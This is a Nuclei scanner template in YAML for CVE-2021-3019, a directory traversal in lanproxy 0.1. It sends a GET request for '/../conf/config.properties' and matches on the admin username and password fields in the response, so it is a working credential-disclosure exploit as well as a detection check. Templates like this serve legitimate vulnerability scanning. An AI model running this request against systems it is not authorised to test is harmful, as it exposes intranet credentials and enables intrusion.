34 lines
854 B
YAML
34 lines
854 B
YAML
id: CVE-2021-3019
|
|
|
|
info:
|
|
name: Lanproxy Directory Traversal
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: ffay lanproxy 0.1 allows Directory Traversal to read /../conf/config.properties to obtain credentials for a connection to the intranet.
|
|
reference:
|
|
- https://github.com/ffay/lanproxy/commits/master
|
|
- https://github.com/maybe-why-not/lanproxy/issues/1
|
|
tags: cve,cve2021,lanproxy,lfi
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/../conf/config.properties"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: word
|
|
words:
|
|
- "application/octet-stream"
|
|
condition: and
|
|
part: header
|
|
- type: word
|
|
words:
|
|
- "config.admin.username"
|
|
- "config.admin.password"
|
|
condition: and
|
|
part: body
|